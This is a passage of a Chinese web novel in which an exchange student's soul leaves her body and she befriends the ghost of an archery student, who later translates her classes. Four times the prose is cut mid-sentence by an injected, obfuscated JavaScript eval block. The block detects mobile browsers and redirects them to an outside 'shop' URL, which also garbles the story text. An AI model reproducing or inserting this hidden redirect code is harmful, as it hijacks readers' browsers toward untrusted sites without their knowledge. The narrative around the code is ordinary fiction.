藤原凛看着林新月手里的箭杆，“嗯……我怕我还回去，会长会给我秋后算总账。还是林さん拿去还给会长吧，拜托拜托。” 一张Q版的脸，配上一双布灵布灵的眼睛，让人怎么能够拒绝。 “那……好吧。” 哎，只恨自己不够心狠。 手里的箭杆像烫手山芋一样，惹得林新月坐立不安…… 不过箭杆好像真的有点烫，坐着的林新月突然——就倒在了藤原凛身上。 “林さん！” 林新月眼前一黑，一下就失去了意识。 藤原凛刚刚还在跟林新月讲话呢，只是转头看高桥龙也的时间，林新月就倒自己身上了。 藤原凛以为林新月只是单纯地靠一下，结果林新月直接滑到了她怀里。 藤原凛意识到不对劲了，想要叫醒林新月，但是林新月没有反应。 “林さん！” 听到藤原凛的声音，樱井美咲率先问道：“凛ちゃん、林さんはどうしたの？（小凛，林同学怎么了？）” 佐藤翔太和高桥凉介也听到了，围了过来，“どうした？（怎么了？）” “林さん、また気を失っちゃった！（林同学她又晕过去了！）” 高桥龙也刚结束指导，他射箭的时候就发现林新月他们五个来了，转头就发现他们几个聚成一团。 “…お前ら、何をやっている？（……你们几个干什么呢？）” “会長！林さんが…また意識が戻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068567|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' らなくて、どうしよう…（会长，林同学她……又叫不醒了，怎么办……）” 高桥龙也皱了皱眉，他今天一来就觉得弓箭部给人的感觉有点怪。 藤原凛尝试用之前高桥龙也教她的方法叫醒林新月，但是林新月始终没有反应。 “会長…（会长……）” “落ち着け。（冷静点。）”高桥龙也开始安抚藤原凛的情绪，“何か、違和感を感じたか？（你们有感觉到什么异常吗？）” “なにか？（什么？）”佐藤翔太问道。 高桥凉介突然指出：“さっきまで林先輩が持ってた矢の柄、ないよ。（林学长手上的箭杆不见了哦。）” “矢の柄？（箭杆？）”高桥龙也立马反应过来问藤原凛，“藤原、お前が先日持ってた矢の柄か？（藤原，是你之前拿走的那支箭杆吗？）” “うん…（嗯……）” “兄貴、あの矢の柄…誰のものだったんだ？（哥，那支箭杆是谁的啊？）” “…知らない。（……我也不知道。）” “藤原、桜井、佐藤、林を守れ。（藤原、樱井、佐藤你们在这里保护林新月。）”高桥龙也安排到。 “涼介、お前は俺について来い。（凉介你跟我一起。）” “はい！（好！）” “は、はい！わかりました！絶対に守ります！（是、是的！知道了！绝对会保护好她！）” 不过，还没等他们动作，怪异的领域便张开来了。 林新月刚刚眼前一黑，晕了，现在一睁眼，一张Q版的脸怼在眼前。 说实话一点也不吓人，没有三次元怼脸吓人。 “你好，请问有什么事吗？”林新月下意识问道。 刚说完才意识到这不在国内。 “你不是本国人哦。”对方说到。 “嗯……” “你怎么能看到我呢？” 林新月从地上坐起来，怎么又躺在了地上。 “这……很奇怪吗？就是看到了啊，谁看不到一个大活人？” “可我不是大活人哦。” 林新月：“？”你在讲什么鬼故事。 “你……怪异？” 对方歪头：“哪里怪咦？” “你去世了吗？” “是啊，虽然忘了为什么。” “那你怎么还在这里啊？” “那我应该去哪里？”对方还蹲在林新月面前。 “一般来说去世之后不都应该去地府投胎吗？”林新月换了个姿势跟对方唠嗑。 对方想了想说：“我是办签证过来的，那我回去签证都过期了。” 林新月心想你这样子应该也用不上签证了吧。 “我们找本地人解决吧，他们应该有办法把你送回去。” “好吧，可是我不认识当地的人。” 对方看到林新月手里握着的箭杆。 “你怎么拿着我的箭杆？” 林新月将手里的箭杆举起来，“这是你的吗？我不知道，是别人给我的。” 顺便将箭杆还给原主人。 对方接过箭杆，将一头递到林新月眼前说：“喏，这是我的名字。” 楼思渺。 5. 感谢馈赠，但这个怎么用 “你叫楼思渺啊，还挺好的听诶，我叫林新月，楼这个姓好少见哦。” “我姥姓楼，我姥爷姓牛，我姥觉得楼比较好听，就让我妈姓楼。我爸姓史，我妈觉得楼比较好听，于是我就姓楼。” “哇，那还挺好的，我过年祭祀的时候，知道有一个祖祖姓乐，我就在想怎么没把这个姓传下来，林还是有点大众了哈。” “我妈跟我爸……” “林新月！” 林新月正跟楼思渺聊天呢，突然听见有人喊她。 转过头看见一二三四五个人，和一个躺地上的自己。 “？” 「不是？怎么有两个我啊？还有怎么又躺在地上？」 林新月挥挥手，“大家好！” 然后转头对楼思渺说，“当地人来了，你有救了。” “林新月你过来！”高桥龙也紧张地看着挨得很近的两人。 “怎么了？”林新月站起来。 「那边不是有一个我吗？」 “你等一下哦，我去去就回，跟他们说一下你的情况。” 林新月对楼思渺说完就朝高桥龙也他们走去。 眼看着林新月要朝这边走来，众人都松了一口气。 但林新月刚踏出一步，就被楼思渺拉住了手。 刚放下的心又提了起来。 楼思渺拉着林新月的手站起来，说：“你灵魂出窍啊？” 用另一只手指了指藤原凛怀里的林新月的身体。 “啊，我不知道啊。” 既然被拉住了，那就…… “你跟我一起过去吧。” 林新月一个反手，把楼思渺拉着走到高桥龙也等人面前。 楼思渺被拉得有点懵，高桥龙也众人近距离直面怪异也有点懵，还有点紧张。 “会长，这位是我的同胞，她叫楼思渺。”林新月开始介绍。 “你们能想办法把她送回我们国家吗？她在这边待着应该不好投胎。” “投胎？” 即使怪异看着很平静不会动手，但高桥龙也等人也不敢放松警惕。 众人都悄咪咪把武器紧握在手中，以防突袭。 “就是轮回转世，离开这里开始新的生活。” “楼思渺这个名字有点耳熟。” “会长你好。”楼思渺走到林新月面前。 看到怪异移动，众人精神紧绷，高桥凉介还有点好奇地看着楼思渺，第一次见这么和平的怪异。 “我是前不久来本校参加弓箭比赛的正鹄中学的学生，楼思渺。” 楼思渺下意识伸出右手。 高桥龙也听到她这么介绍，就想起了弓箭部部长死缠烂打恳求他回社团帮忙指导，就是因为在上一次比赛中输给了正鹄中学的学生。 看来应该是这一位了。 高桥龙也看到对方伸手，虽然心存警惕但还是下意识握手。 “你好，我是本校学生会会长，高桥龙也……” 结果高桥龙也握空了。 低头一看，发现手掌穿过了楼思渺的手。 林新月摆出“o”的嘴型，“活人不能碰到鬼，很合理。” 高桥凉介在高桥龙也背后看得起劲，近距离观察怪异。 高桥龙也收回手，能感觉到这个怪异确实不一样。 既然如此，“楼同学这件事我会先询问一下前辈，看看能否解决。现在……” 林新月还在看自己的身体，以第三人称看Q版的自己感觉还是很不一样的。 “能否先把林同学送回她的身体里去？” “啊？”林新月突然被点名。 楼思渺转过头看着林新月，“不是我把她弄出来的，是她自己来的。” “啊？”林新月更迷惑了，她怎么可能会自己离魂呢？ 高桥凉介看了看林新月，又看了看了什么，跟他哥说了句话。 “林同学，你拿的箭杆呢？” “箭杆？”林新月低头一看，两手空空。 想起来了，还给楼思渺了。 “我物归原主了，喏，在你们面前。” 前面三人在交谈，后面有三个人在听实时翻译。 “あの矢の柄、楼さんのものだったんだ……（原来那支箭杆是楼同学的啊……）” 林新月低头去看楼思渺的手，手里并没有东西。 首先想到是放在原地没拿过来，转头去看也什么都没有。 楼思渺看到林新月左看右看，抬手将箭杆变了出来。 “哦！好厉害。”变戏法似的。 高桥龙也警惕地退后半步。 “你喜欢吗？”楼思渺问林新月。 “你问这个啊？” “反正我现在拿着也没用，就送给你吧。”楼思渺把箭杆又塞到林新月手里。 林新月被迫拿着箭杆，说：“我拿着也没用啊。” 「拿根棍子干啥，继续做盲杖吗？」 楼思渺反手掏出一张弓和一个箭筒，箭筒里还装了几只箭。 「不是，现在当鬼的都有随身空间吗？我也想要。」 “这些也给你吧。” 林新月抱着新装备，高桥龙也等人也对这一情况摸不着头脑。 “啊，这个……非常感谢你送给我，但是我不会啊。” “没事，我可以教你，这里很宽……” “咳，楼同学。”高桥龙也打断两人，“现在当务之急是将林同学送回她的身体里。” 楼思渺无辜地看着他，“我也不会啊。” 然后指了指林新月，“她自己来的，不是我硬要她来的。” 林新月被指后说道：“不关我的事啊，我不是自己要来的。” 眼前两人都搞不定现在的状况，高桥龙也有点头疼。 “楼同学能把领域收回去吗？先把我们放出去。” “啊……我也是第一次当鬼，什么领域？我也不会收。” 楼思渺和林新月排排站，两人一般高，身形也很像，都显得很乖巧。 这个高桥龙也也没法教，他第一次见不会控制领域的怪异，他也不是怪异不知道如何控制领域。 “总之你先感受一下，操控一下。” 以往都是消灭怪异，领域就散了，但是现在嘛……只能靠怪异自己努力一下了。 楼思渺独自一人努力控制领域，林新月抱着箭筒研究弓箭。 “林さん……” 林新月看向藤原凛，藤原凛继续问：“你有感觉不舒服吗？” 林新月摇头，“没有啊，我没什么感觉。” “那就好……”藤原凛松了一口气，她还抱着林新月的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068568|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体坐在地上。 樱井美咲蹲在一旁陪她，佐藤翔太站在樱井美咲旁边。 高桥凉介在观察楼思渺，高桥龙也也紧盯着楼思渺。 林新月把弓往肩上一挂，就凑到自己身体面前。 这么看感觉是不一样。 林新月伸出手指想戳戳自己的脸，手指直接没入脸颊。 林新月感觉到一点吸力，把手指拔出来。 想了想，直接站到身体脚边，往身体上一躺——小说里都是这么写的。 林新月眼睛一睁，一片漆黑。 「！」怎么还重蹈覆辙了呢。 两只手在空中乱晃，藤原凛拉住林新月的手。 “林さん，你回来了！” 此话一出，除了高桥龙也端正看了一下林新月外，其他人都围过来了。 “啊……嗯……” 「人是回来了，视力还没回来，我刚能看清世界啊！」 藤原凛赶紧把林新月扶起来坐着，有点紧张地问：“林さん，有没有哪里不舒服？” “这个嘛……我暂时又看不见了……” 藤原凛松了一口气，对其他人说：“みんな、林さん、平気だよ！（大家，林同学没什么事哦！）” 众人都松了一口气，继续关注楼思渺，以防出现意外。 藤原凛倒是心大的对林新月说：“没事林さん，一回生二回熟嘛，箭杆你还能继续用……箭呢？” 林新月心想一回生二回熟是这么用的吗？ “什么箭？” “就林さん刚刚拿着的啊。” 林新月心里想着用了几天的箭杆，伸出手，手里就多了一支箭。 “哦——林さん跟楼さん一样，能把箭收起来也能变出来呢～” 「哦？我也有随身空间了吗？」 林新月又把箭收了起来，坐在地上适应一朝回到解放前的视力。 不知道过了多久，林新月隐隐看到一点光亮。 然后便听见藤原凛说：“やったっ——出られた！（终于——出来了！）” 眼前的景象如潮水般退去，人群又重新出现在众人面前。 可惜林新月看不见。 领域消失后，楼思渺也消失不见了。 “兄貴……（哥……）” “涼介、沐のところへ行け。状況を説明しろ。（凉介，你去找沐跟他说明一下情况。）” “はい！（好！）” 高桥凉介匆匆离开弓箭部。 “…しばらくここで様子を見る。異常がないか確認だ。（……我们先在这里待会儿，观察情况确认是否有异状。）” “はい！（好！）” “林さん出来后有没有觉得不舒服？” “没有，不过我能看见一点光了。” 藤原凛开朗起来：“我就说吧，一回生二回熟，林さん恢复视力的速度变快了呢。” 「……这听起来不像好事。」 “你怎么了？看不见了？” “对啊，还不是第一次了，不过我感觉应该很快就能看见了。” “难怪我刚跟你招手你没理我。” “……林さん，你在跟谁说话？” 藤原凛一句话，把高桥龙也的注意吸引过来了，他看了看林新月身边，只有藤原凛。 6. 非常帅的技能，练着也很累人 “啊？我在跟楼思渺说话啊。”林新月手指向楼思渺说话的方向，“她在这啊。” 众人顺着林新月手指的方向看去，并没有人只有一片空气。 高桥龙也的表情有些严肃，“楼思渺真的在吗？可是我们看不见她。” 那林新月也没有办法，对楼思渺说：“他们看不见你诶。” 楼思渺一脸淡定地回答：“正常，他们之前也看不见我，只有在领域的时候才看得到我。所以我才问‘你能看到我’。” “那现在怎么办？” “只能先这样了，反正你现在也看不到我了。”楼思渺一脸无所谓。 林新月对高桥龙也等人说：“这是正常现象，她之前也在，你们都没有看到她。” 但是这对高桥龙也等人来说可不是一个好的信号，看不见的危险意味着隐患。 虽然现在不确定楼思渺是否有害，依旧不能放松警惕。 现在处于一个敌在暗我在明的状态，可不是一个好消息。 在一片紧张的氛围中，电话铃声突然响起。 “叮铃铃铃———” 有些刺耳的声音，拨动了在座所有人的心弦。 高桥龙也紧张得心脏被刺激得猛地一跳，竟然是自己的电话在响。 “喂…ああ、わかった。（喂……嗯，好，我知道了。）” 通话的过程十分迅速，不一会儿就挂断了电话。 高桥龙也看着林新月说：“是凉介打来的，楼同学的事可以解决，先去我办公室吧。” 随后又对着藤原凛等人说：“藤原、涼介を探して合流しろ。佐藤、桜井、お前らは俺について来い、学生会室へ向かう。（藤原，你去找凉介。佐藤、樱井，你们两个跟着我去学生会长办公室。）” “はい！了解しました、会長！（好的，知道了会长！）” “はい、先輩。（是，前辈。）” “かしこまりました、先輩。（知道了、前辈。）” 现在林新月还看不见，由樱井美咲扶着她，高桥龙也和佐藤翔太两人一左一右，四人外加一个看不见的楼思渺，朝着学生会长办公室走去。 等林新月等人到达学生会长办公室的时候，李沐风带着好几个人已经在办公室等候了。 “沐。” 李沐风站起来走向高桥龙也，“那位……怪异呢？” 高桥龙也看向林新月，“她现在应该就在这，但是只有林同学看得见她。只不过……林同学现在又看不见了。” 林新月举手，“虽然我看不见，但是我听得见啊。思渺她现在在我旁边。” “那这个可不太好办。”李沐风说，“得等到林新月视力恢复之后再解决了。” 虽然不知道楼思渺站在哪里，但是李沐风直接对着林新月的方向说，“楼同学，在林同学视力恢复之前，先麻烦你跟着她。你的情况我们了解了，会尽快处理好。” “思渺说她知道了。”林新月作为在场唯一一个传声筒，尽职尽责地负责传话。 高桥龙也让藤原凛和高桥凉介一起把林新月送回寝室，他还要留下来开一个会。 林新月：「我刚从寝室离开，现在又要回去。不是说要带我回家的吗？唉，刚好的眼睛又瞎了。」 藤原凛和高桥凉介两人将林新月送到宿舍楼，高桥凉介在门口没有进宿舍楼，藤原凛扶着林新月回到宿舍。 林新月坐在床上：“藤原さん，你可以去忙的，这里有思缈陪我，我感觉我这次视力应该很快就会恢复的。” “那好吧，如果有事记得给我打电话哦，我就先走了，拜拜。” “拜拜。” 藤原凛走后，宿舍有一点安静。 “你觉得他们可信吗？”楼思渺问道。 林新月扣了扣脸，“也只有相信了。” 「说实话我现在属于一个三不管地带，信也得信不信也得信，没办法。」 「我什么时候能回去呢？祈祷。」 “说的也是。” “思缈觉得无聊吗？你可以碰到我的手机吗？” 楼思渺尝试了一下，说：“不行。” 林新月叹气，“好吧。” 「其实怪异就是鬼吧，看不见摸不着的。」 “现在有点无聊，你要看动画吗？虽然我看不见，但我可以听。” 楼思渺看着林新月朝着空气说话就有一点想笑。 “不用。”楼思渺想了想问道，“你要练习射箭吗？” “射箭？你送我的那个？” 林新月心念一动，弓和箭出现在手中。 “这个地方不太合适吧。” 宿舍里怎么想也不适合练箭。 楼思渺说：“刚刚那个谁，他们会长，让我把领域收起来，我觉得应该还可以再放出来，让我试试。” 说完楼思渺开始尝试打开领域。 林新月感叹：思缈真是有悟性。 「不过思渺把领域打开的话，我进去是以是灵魂状态还是实体状态呢？」 「这东西就跟随身私人空间一样，真不错。」 林新月坐在床上，把箭和弓放在腿上，手上把玩着一支箭。 楼思渺站在一边，努力想把领域打开。 林新月等着等着肚子叫了，“咕噜噜。” 摸摸肚子，有点饿了，还没吃晚饭呢。 楼思渺现在的状态不需要吃东西，她还在努力控制自己的领域。 林新月摸出手机给藤原凛打了个电话。 “喂？藤原さん。” “喂，林さん，有什么事吗？” “那个，你现在有空吗？帮我带个晚饭吧……” “哦！稍等一下，我马上给你带饭回来。” “好哦～” “你想吃什么？” “我想吃热腾腾的米饭……” “喂？林さん？怎么还没说完电话就挂断了，没电了吗？算了，我看着带吧。” 藤原凛收起手机对着高桥龙也说：“会長、私、お先に失礼します。(会长我先走咯。)” 高桥龙也点点头，“ああ、行って来い。(去吧。)” 藤原凛离开会长办公室，去便利店帮林新月挑了个炸猪排便当。 回到宿舍已经是半个多小时后的事情了。 “我回来啦林さん！你要的……晚饭？” 打开宿舍门，藤原凛就看见林新月躺在床上。 “这么早就睡了吗？不是还没吃晚饭吗？” 藤原凛把便当放在书桌上，回到林新月床前看她。 “林さん，晚饭到了哟～” 藤原凛怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068569|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫林新月都没反应，引起了她的一些不好的回忆。 藤原凛心里一惊，摸出手机就要给高桥龙也打电话。 结果林新月缓缓睁开了眼。 “藤原さん，你来了……” 见到林新月醒来，藤原凛松了一口气，看来只是睡着了。 藤原凛笑嘻嘻地说：“林さん，我给你带了晚饭哦。” 林新月从床上爬起来，刚刚在床上躺着的姿势有点变扭，林新月稍微活动了一下身体。 打开便当盒，“哇，是炸猪排诶——” 藤原凛尾巴翘老高了，“看来我选的还不错哦。” 带着一点求表扬的语气。 林新月很捧场，“谢谢藤原さん，我超喜欢的。” 此时藤原凛还没有意识到什么，直到林新月摸出手机拍照。 “林さん，你看得见了？” 这句话把林新月都问懵了，“对哦，我看得见了。” 林新月自己都没反应过来，睁开眼就能看见，和平常一样没什么特别的。 原来自己看不见才是平常的。 “我也是刚刚才发现，你不问我我都没反应过来。” 林新月拿起筷子准备吃饭，“藤原さん吃过晚饭了吗？” “林さん不用担心我哦，我待会儿回家吃。” 藤原凛站在林新月侧后方，左看右看像是在寻找什么。 “林さん，楼さん……还在吗？” “我在啊。”楼思渺虚靠在林新月的书桌旁。 “思缈在的，你有事找她吗？” 藤原凛连忙摆手，“我没什么事啊，我就是问问。” 要是楼思渺真出现了，她怕是打不过，她就是问问而已。 “那我就先回家了～，林さん拜拜。”藤原凛拿上自己的包就要离开了。 “拜拜，路上小心。” “我知道的，明天见！” 藤原凛走了，还带上了门。 林新月看了眼关上的门，然后指着桌上的猪排饭问楼思渺：“你要吃吗？” 楼思渺坐上萧书淼的书桌，思考道：“我变成这样就没吃过东西，也不觉得饿。” “是不是要像祭祀一样上贡给你啊？” 楼思渺偏头看着林新月，“你会祭祀吗？” “唔……我只会烧纸上香。” 楼思渺摆摆手，离开林新月的桌子，说：“你自己吃吧。” 楼思渺都这么说了，那晚饭只能林新月独享了。 林新月打开手机找到一部动画，问楼思渺：“要一起看吗？” 楼思渺说她对动画没兴趣，想随手在书架上摸一本书来看。 结果手穿过去了。 林新月专心致志看动画，吃晚饭。 楼思渺这里逛逛那里逛逛，很有道德得没有穿墙。 现在这样什么都做不了，逛了一圈又回到林新月身边，跟着她一起看动画。 “诗织为什么要答应他呢？” 楼思渺冷不丁开口，吓得林新月呛了口饭。 “咳咳咳……”林新月喝了口水，“……你在看啊。” “嗯，第一次看这种动画。”楼思渺说，“诗织为什么要答应他呢？就因为他表了个白吗？” “嗯……剧情需要吧，编剧想要他们在一起。” 7. 楼翻译官正式上线 楼思渺以前忙着学习和练习，没什么时间发展其余爱好。 这动画一看下来就一发不可收拾。 晚上林新月要睡觉，她还在看。 “虽然你现在不需要休息，但手机需要休息。”林新月躺在床上，准备睡了。 “我知道我知道，我禁音看不会影响你的。手机没电了我会……我不能帮你充电…… “没关系，我不会看那么久的。” 林新月看她眼睛都离不开动画，欲言又止，还是没说什么，睡了。 “李教练说你最近有点不在状态，怎么回事？” “这次比赛怎么没拿到冠军！我花了钱的，让你练几年射箭就这个本事？” “别跟我喊累，谁不累？就你累？” “这次成绩怎么下降了！因为要练射箭？你不知道平衡时间吗？别人……” 「谁啊？关我什么事。」 「我没练过箭啊，没练过啊。」 早上听到学校铃声的林新月起床时一脸疲惫。 楼思渺听到林新月起床的动静，眼巴巴地看着她，结果发现她面色疲惫。 “没休息好吗？” 林新月抹了抹脸，说：“好累哦，昨晚做梦有个人一直在责备我，我感觉精神好疲惫。” 林新月打着哈欠起床洗漱。 “他说你什么啊？” 林新月刷着牙，含糊地回答：“他说我不好好练箭，还叫我平衡时间。” “呸。”林新月吐了口带情绪的泡沫，“他怎么不一手抓工作一手抓考研一手抓考公一手抓锻炼呢。” “咕噜咕噜咕噜咕噜，噗。” 林新月拧毛巾开始洗脸，“真是严于律人，宽以待己。要求真高。” “现代练剑的人应该很少了吧，剑还挺危险的。” “是嘛，练练书法奥数得了。” 毛巾盖在林新月脸上，说话发出的声音蒙蒙的，“他要求这么高怎么不自己练了去参加国家队。” 楼思渺还琢磨着国家队好像没有练剑的。 跟着林新月从卫生间出来，就见她拿起桌上冰凉的手机，按下开机键。 没反应。 长按开机键，没反应。 林新月看向楼思渺，楼思渺看着林新月露出一个讨好的笑容。 “我……一不小心，它就关机了……” 看来她感觉没错。 林新月翻出充电器，给手机充上电后就开机。 一开机就发现几个未接来电。 藤原凛打来的。 林新月回拨过去，结果手机铃声伴随着开门声一同响起。 一手提东西，一手开门的藤原凛没空接电话。 打开门发现，林新月好好的，就松了一口气。 林新月看见藤原凛都到寝室了，也就挂了电话。 “林さん早上好呀。”藤原凛把手里的口袋递给她，“这是学校附近最好吃的肉包子，给你买了几个。” “谢谢。”林新月结果包子，打开袋子一看，五个拳头大的包子。 林新月抬头，“藤原さん吃早饭了吗？” “谢谢关心，我吃过了，这是给林さん的哟。”藤原凛还指了指袋子，“会长报销，随便吃，不够我再去买。” “够了够了。”够够了，还多了点。 林新月吃着包子问藤原凛，“我今天要去上课了吗？” “嗯……这个……”藤原凛歪头，“不知道诶，我问问会长吧。” 说完，藤原凛一个电话打给了高桥龙也，“もしもし、会長……（喂，会长……）” 几句话时间，电话挂断了。 “会长说如果林さん没有感到不适，就可以上课了。会长说林さん是高二二班的，我待会儿带你去找班主任销个假就可以了。” 嘴里的包子突然不香了。 交流都很困难了，上课要怎么办？听天书。 “对了藤原さん，你问一下会长可不可以给思渺祭祀——”林新月指了指手里的包子，“两个包子。” “嗯……那我问一下吧。” 藤原凛拨通刚挂断的电话，“もしもし、会長……（喂，会长……）” “会长说他们没有祭祀过，所以也不知道。” 林新月咽下最后一口包子，“那好吧。” “那有冰箱吗？”林新月把口袋扎上，“放着我晚上吃。” “放我们学生会吧，我带你去。” “那思渺你跟我一起去吗？” 楼思渺自己待着也无聊，点点头说：“一起吧。” “藤原さん，思渺跟我一起可以吗？” “嗯……应该可以吧，会长他们不是让楼さん跟着林さん吗？” “那就走吧。”林新月站起来，“几点上课啊？” “皆さん、おはようございます。では、教科書のXXページを開いてください。（大家，早上好。来把课本翻到第XX页。）” 林新月左耳进，右耳出“教科書のXX”“開いて”。 此处应有表情包：(?﹃?) 「真·听天书来了。」 楼思渺本来在看窗外，转头发现林新月迷茫的眼神。 “听不懂吗？” 林新月不好在空荡荡的教室（相对国内教室来说）里，跟楼思渺交头接耳。 于是写下：“听得懂——”停顿一下，继续写，“——20%。” 楼思渺看看黑板看看林新月。 “这个地方……” 林新月开始接受双语教育，楼思渺作实时翻译，外加详细解说。 楼思渺：（?o?） 「すごい——（好厉害——）」 林新月悄咪咪写下：“思渺好厉害！”然后画了个大拇指。 下课，藤原凛来到林新月桌边。 “林さん，感觉怎么样？能跟上吗？不能的话我的笔记可以借给你用。” 前后左右的同学听见藤原凛说外语都看过来。 “啊……谢谢藤原さん！我非常需要。”林新月被注视有点不自在，“其实思渺在帮我翻译，虽然学得有点艰难，不过思渺有在指导我。” “是吗？那还挺方便的呢。有需要的，林さん记得跟我说哦。” “我会的。” 第二节课下课，楼思渺左边的同学跟她搭话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068570|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “あの…こ、こんにちは。私は風花陽菜と申します…。あなたは…交換留学生の方ですか？（那个……同学你好，我叫风花阳菜。你是交换生吗？）” 女生顶着一头粉色齐肩头发，黄色的大眼睛，脸色有些害羞。 林新月隐晦地用眼神瞟了瞟楼思渺，手指点了点之前写在本子上的“思渺たけて——（思渺救救我——）” 楼思渺翻译官正式上线：“她说她叫风花阳菜，问你是不是交换生。” “哦哦。風花さん、こんにちは。私は林新月と申します。留学生です。あの…日本語がまだ上手くなくて、すみません。（风花同学，你好。我叫林新月。是留学生。那个……我日语还说得不好，不好意思。）” “そうでしたか…林さん、もし何かお困りでしたら…私でよければ、お手伝いしますよ。（原来是这样，林同学如果有需要的话也可以找我哦。）” 林新月比了一个“OK”，“ありがとうございます。では、よろしくお願いします。（谢谢，我就不客气了。）” 放学，藤原凛找林新月一起吃午饭。 “走吧，林さん。” “马上！” 林新月应完藤原凛，转头对风花阳菜说，“バイバイ。（拜拜。）” 风花阳菜小幅度挥了挥手回应。 藤原凛跟林新月一路，“林さん已经认识新同学了吗？” “你说风花さん吗？她人好好的，还说要帮我。” “风花さん可是年级第一哦。”藤原凛看着林新月，“林さん借到风花さん的笔记的话……可以借给我抄抄吗？” “……要问问风花さん吧，你可以抄我抄的风花さん的笔记。” “都可以都可以，下次我问问风花さん。” 下午，趁着下课，藤原凛来找林新月，顺便鼓起勇气向年级第一要笔记。 “えっと…風花さん！あの…私も、あなたのノートをお借りしても、いいでしょうか…？（那个……风花同学！我也可以借你的笔记吗？）” 风花阳菜有点意外，神色诧异，有点害羞的说：“えっ…あ、はい！もちろんです！…でも藤原さん、まず林さんに使ってもらいましょうか？（当然可以。但是藤原同学，先让林同学用吧？）” “もちろん！ありがとうございます！（当然！非常感谢！）” 藤原凛欢天喜地地回了座位。 “風花さん、本当にありがとうございます。（风花同学，非常感谢。）” “いいえ、とんでもないです。お二人のお役に立てて、私も…とても嬉しいです。（哪里，能帮到你们，我也很开心。）” 放学，两人借到风花阳菜的笔记，约好第二天还给她。 风花阳菜：“では…どの科目のノートがご入り用でしょうか？（那你们想要哪一科的笔记呢？）” 藤原凛双眼放光：“全部お願いします！ありがとうございます！（全部！非常谢谢！）” 于是两个人捧着年级第一全部科目的笔记本，往宿舍方向走。 藤原凛宣布：“我今晚不回家了！” 8. 赶鸭子上架 寝室内，藤原凛奋笔疾书。 林新月在楼思渺地指导下缓慢进行。 安静的空间内充满了笔尖摩擦纸张的声音，和林新月的提问和应答声。 学校提示铃响了，林新月放下笔，准备休息一下转了一天的大脑。 洗漱回来，藤原凛还在奋笔疾书。 如此刻苦。 “藤原さん，你要不要准备休息了？” 藤原凛头都不抬，“能借到年级第一的笔记太难得了，我要把它们都抄下来。” “……” 林新月看看时间也不早了，还是说：“这样要抄很久，你如果睡不好的话，明天上学不是没精神吗？这样有点本末倒置了。而且风花さん的笔记下次再接也可以吧？” 藤原凛想了想，“そうですね（说的也是。）” 结束最后一句，藤原凛“啪”地放下笔，“はぁ…もう死にそう…（累死我了……）” 她靠在椅背上，翘着椅子腿，头向后仰着，倒着看林新月。 “林さん要睡了吗？” 林新月已经缩到被子里了，“是啊我准备睡了，今天知识摄入量超标了。” “好。”藤原凛站起来，“我也要睡了。” 林新月把手机给楼思渺打开，声音关掉，给她放动画。 藤原凛回来就看见林新月的手机无声地放着。 凑近看见桌上的本子上写着，“放给楼さん看的，别关了哦。” 藤原凛小声说了句，“晚安，楼さん。” 看不见楼思渺的反应，藤原凛关了灯就睡了。 黑暗的室内，只有林新月的手机发出荧荧亮光。 得益于风花阳菜的慷慨，几人因抄笔记结下情谊，友谊迅速升温。 班上的同学看她们这样，也大着胆子跟风花搭话。 风花同学最近跟同班同学说的话，可能比去年一年的话还多。 不过林新月经常看见风花阳菜和一个紫色头发男生一起走，就问藤原凛：“跟风花さん一起的那个男生是谁啊？” 藤原凛说：“是风花さん的男朋友。” “哦——”这边没有早恋一说呢。 “他是别班的吧，我都没见过。” “是啊，他是八班的。不过……” 林新月嗅到八卦的味道，“怎么了怎么了？” 藤原凛左看右看，小声说：“风花さん跟她男朋友高一就开始谈恋爱了，但是他跟风花さん在一起还拈花惹草。 “我有一次就不小心撞见他跟别的女生在教学楼后面接吻呢。” “风花さん不知道吗？” “风花さん知道呀，高一我们不同班的时候我都知道了，她肯定也知道。 “当时还有女生找上门挑衅风花さん，让风花さん跟她男朋友分手。 “但是风花さん的男朋友没同意，也不知道为什么，可能是享受偷情的乐趣吧。” 